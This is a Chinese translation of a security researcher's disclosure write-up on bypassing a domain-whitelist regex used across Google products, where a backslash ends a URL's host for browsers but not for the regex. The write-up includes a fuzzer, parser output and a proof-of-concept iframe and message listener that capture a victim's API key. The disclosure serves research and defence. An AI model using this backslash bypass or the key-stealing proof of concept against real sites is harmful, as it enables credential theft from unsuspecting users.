【翻译】绕过Google域名检测机制

研究人员在试图绕过一个小型Web应用程序的域名检测时,没想到竟绕过了(几乎)所有Google产品中使用的URL解析器。

研究人员在浏览GMail API文档,发现一个按钮,当按下该按钮时,会生成一个GMail API密钥,如下图所示:

henhouse

从中得到启发,研究人员开始分析是否可以通过诱使受害者单击链接来执行谷歌云控制台操作。研究人员发现弹出的应用程序名为henhouse。GMmail API文档将henhouse应用程序作为IFrame嵌入。IFrame中加载的网址如下所示:

https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://developers.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]

可以看出URL中的pb[4]是https://developers.google.com,因此是嵌入域名的网址。嵌入的事实表明,父级和子级IFrame之间存在着某种通信,如用户可以单击“Done”按钮以关闭henhouse窗口并返回文档。经过测试后,研究人员确认henhouse应用程序将postMessages发送到父域,更确切地说是发送到pb[4]所指定的域。研究人员还发现,生成的API密钥/OAuth客户端ID,也会在postMessage中发送给父域。

至此,研究人员已经在脑海中生成了整个攻击场景。首先,研究人员将henhouse嵌入在自己的恶意网站,并在postMessage中监听受害者的API密钥。然后,研究人员需要将自己的域名嵌入pb对象中。

whitelist-fail

但事实并没有想象中的那么简单,在多次失败后研究人员开始对JavaScript进行逆向,以弄清楚该“白名单”的工作方式。在对混淆JavaScript进行解码后,研究人员对白名单的工作原理有了一定了解,并制作了一个伪代码版本,如下所示:

// This is not real code..

var whitelistedWildcards = ['.corp.google.com', '.c.googlers.com'];
var whitelistedDomains = ['https://devsite.googleplex.com', 'https://developers.google.com',
                          'https://cloud-dot-devsite.googleplex.com', 'https://cloud.google.com'
                          'https://console.cloud.google.com', 'https://console.developers.google.com'];

var domainURL = URL.params.pb[4];
if (whitelistedDomains.includes(domainURL) || getAuthorityFromMagicRegex(domainURL).endsWith(whitelistedWildcards)) {
  postMessage("API KEY: " + apikey, domainURL);
}

要想绕过whitelistedDomains几乎是不可能的,但我们可以从whitelistedWildcards入手。whitelistedWildcards将检查URL的域名是否是以.corp.google.com或.c.googlers.com结尾的。

getAuthorityFromMagicRegex函数如下所示:

var getAuthorityFromRegex = function(domainURL) {
  var magicRegex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;
  return magicRegex.match(domainURL)[3]
}

这是一个复杂的正则表达式,.magicRegex.match(domainURL)[3]中包含什么?在JS控制台的全功能网址上尝试该正则表达式将返回以下内容:

"https://user:[email protected]:8080/path/to/something?param=value#hash".match(magicRegex);

Array(8) [ "https://user:[email protected]:8080/path/to/something?param=value#hash",
           "https", "user:pass", "test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]

因此magicRegex.match(domainURL)[3]中包含的是权限(域)。研究人员将该正则表达式导入www.debuggex.com网站中,以进行可视化,从而查看匹配是如何发生的。

debuggex-zoomed

debuggex-zoomed

可以看出该权限域以/、?或#结尾,在这之后的任何内容都不再是域名。但研究人员想到,是否存在一个在被浏览器解析时会结束权限,但在被正则表达式解析时却不会终止的字符。如此,我们便可以通过生成以.corp.google.com结尾的内容绕过检查,例如:

https://xdavidhu.me[MAGIC_CHARACTER]test.corp.google.com

因此,对于浏览器来说,权限是"xdavidhu.me",但是对于正则表达式来说,权限是以".corp.google.com"结尾的全部内容,因此允许发送API密钥postMessage。

研究人员编写了一个JavaScript模糊测试器,以测试在实际的浏览器中结束授权的字符:

var s = ' !"#$%&\'()*+,-./0123456789:;<=>[email protected][\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';

for (var i = 0; i < s.length; i++) {
  char = s.charAt(i);
  string = 'https://xdavidhu.me'+char+'.corp.google.com';
  try {
    const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
  } catch {
    console.log("[!] " + string + " -> ERROR");
  }
}

最终,找到了4个终止授权的字符,如下所示:

[+] https://xdavidhu.me/.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me?.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me#.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me\.corp.google.com -> xdavidhu.me

在浏览器中,除了/、?和#之外,\也结束了权限!这在Firefox、Chrome和Safari浏览器中都适用。之后,研究人员在Chromium的源代码中找到了这种行为的来源:

bool IsAuthorityTerminator(base::char16 ch) {
  return IsURLSlash(ch) || ch == '?' || ch == '#';
}

IsURLSlash函数:

inline bool IsURLSlash(base::char16 ch) {
  return ch == '/' || ch == '\\';
}

JS控制台的漏洞利用程序:

// Regex parsing
"https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex)

Array(8) [ "https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash",
           "https", "user:pass", "xdavidhu.me\\test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]

// Browser parsing
new URL("https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash")

URL { href: "https://user:[email protected]/test.corp.google.com:8080/path/to/something?param=value#hash",
      origin: "https://xdavidhu.me", protocol: "https:", username: "user", password: "pass", host: "xdavidhu.me",
      hostname: "xdavidhu.me", port: "", pathname: "/test.corp.google.com:8080/path/to/something", search: "?param=value" }

PoC概念验证代码:

将该PoC嵌入henhouse,可获取受害者的API密钥。


<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://xdavidhu.me\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>

<script>
window.addEventListener('message', function (d) {
  console.log(d.data);
  if(d.data[1] == "apikey-credential"){
    var h1 = document.createElement('h1');
    h1.innerHTML = "Your API key: " + d.data[2];
    document.body.appendChild(h1);
  }
});
</script>

该漏洞的等级可高可低,其只能窃取API密钥或OAuth客户端ID。但之后研究人员想到这么复杂的正则表达式不可能只是专门为henhouse创建的。于是他开始在其他Google产品中抓取JS文件,发现这个正则表达式无处不在。Google Cloud Console、Google Actions Console、YouTube Studio和myaccount.google.com(!),甚至在一些谷歌安卓应用程序,以及Google Corp登录页面(login.corp.google.com)都使用了该正则表达式。

任何使用该正则表达式通过类似“ends-with”逻辑进行域验证的地方,都可以使用\字符对其进行绕过。

以上,就是研究人员试图绕过小型应用程序的URL验证,却意外地发现Google通用JavaScript库中包含的漏洞的故事。更多安全资讯请微信扫描以下二维码后,关注SecTr安全团队微信号。